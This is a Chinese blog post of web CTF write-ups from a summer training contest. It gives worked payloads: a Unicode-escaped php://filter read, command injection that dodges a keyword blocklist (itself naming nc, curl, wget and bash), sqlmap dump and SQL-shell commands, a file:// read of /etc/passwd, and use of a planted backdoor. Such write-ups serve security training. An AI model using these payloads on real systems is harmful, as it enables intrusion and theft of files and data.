暑假训练赛WP(web)

read-data

给了我们代码,打开看一下

const express = require('express')

const app = express();
const port = 3000;
const fs = require('fs')
try {
    const inputD = fs.readFileSync('table.txt', 'utf-8');
    text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
    console.error("读取文件出错:", err);
    process.exit(1);
}

app.get('/', (req, res) => {
    if (!req.query.name) {
        res.send("你查询了吗? XD")
        return;
    }
    let goodLines = []
    text.forEach( line => {
        if (line.match(req.query.name)) {
            goodLines.push(line)
        }
    });
    res.json({"查询结果":goodLines})
})

app.get('/:id/:firstName/:lastName', (req, res) => {
    res.send("FLAG")
})

app.listen(port, () => {
    console.log(App server listening on ${port}. (Go to http://localhost:${port}));
});

读取 table.txt 文件的内容,并将每行文本作为一个元素存入text 数组

在/下get一个name

如果text中的元素正好能匹配到name的值,则返回该元素

最后/:id/:fistname/:lastName来回显flag

get

?name=.

即可回显全部元素

看到最下面的Flag Holder为50,但第一个Ricardo Olsen为0

所以Flag Holder的id应该为51

所以/51/Flag/Holder即可得到flag


try_rce_me

<?php
error_reporting(0);

highlight_file(FILE);

function is_safe($input) {
  $blacklist = [
    '\.\.',
    '(php|file|glob|data|tp|zip|zlib|phar):',
    'flag'
  ];
  $pattern = '/' . implode('|', $blacklist) . '/i';
  return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($requestBody) && isset($parsedJson) && isset($parsedJson['pages'])) {
  $pageUrl = $parsedJson['pages'];
  $pageContent = file_get_contents($pageUrl);
  if (!$pageContent || !is_safe($pageContent)) {
    $pageContent = "<p>not found</p>\n";
  }
} else {
  $pageContent = '<p>invalid request</p>';
}

$pageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', $pageContent);
echo json_encode(['content' => $pageContent]);
?>

用php://input协议来接收ison_decode格式的pages

有个黑名单过滤和preg_replace替换

json_decode可以接收unicode编码

所以用filter伪协议编码unicode即可绕过

filter协议:

php://filter/convert.base64-encode/resource=/flag

unicode编码:

\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067

最终payload:

{"pages":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}

post传即可获得flag


simple_php

<?php
error_reporting(0);

highlight_file(FILE);

function is_safe($input) {
  $blacklist = [
    '\.\.',
    'flag',
    '\\\\'
  ];
  $pattern = '/' . implode('|', $blacklist) . '/i';
  return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) {
    $cmd = $parsedJson['cmd'];
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
        system($cmd);
        print_r("Ok,I seem to be safe!");
    }
}

提示:

这道题在上一题的基础上过滤了很多东西,过滤很严格,unicode编码不能用了

绕过cat:

能替换cat的命令被过滤完了,但是&和$没被ban

这里用拼接变量

a=ca&&b=t

所以$a$b=cat

空格和txt都没被ban,所以接下来要绕过flag.

这里都可以用[]通配符

flag.=[e-h][k-m][0-b][e-h][+-0]

所以payload:

{"cmd":"a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt"}


其他方法

f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j

大概思路差不多,只不过这里绕过.的方式tql

接起来就是ls -a | head -n 1

ls -a表示显示所有文件包括隐藏文件,返回的第一行肯定是.

再用head -n 1来获取第一行


simple_php_revenge

这题就多过滤了反引号,用上一题的payload就行


人才(做的)管理系统 by hacked_1

一进来看到熟悉的页面

一开始没发现其他东西,于是试了下爆破,发现用户名不是admin,那就大概率不是爆破了

仔细看了下源代码

登录成功后进入到/index.html

手动进入即可得到flag


人才(做的)管理系统 by hacked_2

提示:

那就是sql注入了

于是开始找注入点

一开始蠢掉了

因为这题是接着上一题的,所以一开始一直在/index.html那个页面里试,然后一直找不到注入点

后来才知道是在一开始的登录界面注入

试了下没什么可用的回显,应该是盲注,于是用sqlmap

先随便输个用户1密码1

抓包

可以看到是用post传的

于是复制这个http包

在kali桌面上创个1.txt文件,粘贴刚复制的内容

开始用sqlmap跑(一个个试,慢慢跑就行)

查库:sqlmap -r '/home/plb/Desktop/1.txt' --dbs

查表:sqlmap -r '/home/plb/Desktop/1.txt' -D staff --tables

查列:sqlmap -r '/home/plb/Desktop/1.txt' -D staff -T flag --columns

查字段:sqlmap -r '/home/plb/Desktop/1.txt' -D staff -T flag -C "flag" --dump


人才(做的)管理系统 by hacked_3

提示:

所以应该是要执行命令了

继续用sqlmap

sqlmap -r '/home/plb/Desktop/1.txt' --sql-shell

--sql-shell 参数可以请求一个交互式的 SQL shell 提示符,允许用户输入和执行 SQL 查询和命令。

可以看到成功了,接下来就是用命令获取根目录下的flag

找到一条命令: LOAD_FILE()函数能够返回文件内容,SQL语句为:SELECT LOAD_FILE(‘文件路径/文件名’)

所以改成select load_file(‘/flag’)

就可以得到flag了


love_cms

下载代码,然后放到D盾扫一下

发现三个危险文件

第一个和第三个都是php混淆

尝试去解混淆,搞了半天解不了

分析第二个文件

找到危险函数file_get_contents

public function prohibit_words() {
        $door = $_POST['prohibit_words'];
        $contents = file_get_contents($door);
        if(isset($_POST['dosubmit'])){
            echo $contents;
            D('config')->update(array('value'=>$_POST['prohibit_words']), array('name'=>'prohibit_words'), true);
            delcache('configs');
            showmsg(L('operation_success'), '', 1);
        }
        include $this->admin_tpl('prohibit_words');
    }

用post接收prohibit_words然后放到file_get_contents()

而且满足下面这个if语句就可以把file_get_contents()接收的内容echo出来

所以这是可以利用的

接下来找可以触发prohibit_words()方法的地方

找找找在prohibit_words.html找到如下:

这里可以触发prohibit_words()方法并输出

所以要打开prohibit_words.html

打开/admin/system_manage/prohibit_words.html

然后进行post传参

用file://可以读取文件

prohibit_words=file:///etc/passwd&dosubmit=1

在给的文件中可以看到一个backdoor.php

尝试读取

经过尝试,在/var/www/html下

prohibit_words=file:///var/www/html/backdoor.php&dosubmit=1

查看源代码可以看到后门

这里还骗我们去解码

因为hackdoor.php在/var/www/html下

所以直接访问/backdoor.php就可以利用后门了

/backdoor.php?SV9sb3ZlX215X2dpcmxmcmllbmRfdmVyeV9tdWNo=ls /

接着读flaaaaaaaaaaaaaag就行

评论

  1. mas
    3 月前
    2024-7-14 18:48:11

    这就是我彭神

    • 博主
      mas
      3 月前
      2024-7-14 18:56:46

      肖神带带我

  2. rrr
    已编辑
    3 月前
    2024-7-14 18:52:41

    我是肖神粉丝,听说这里有肖神出没

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇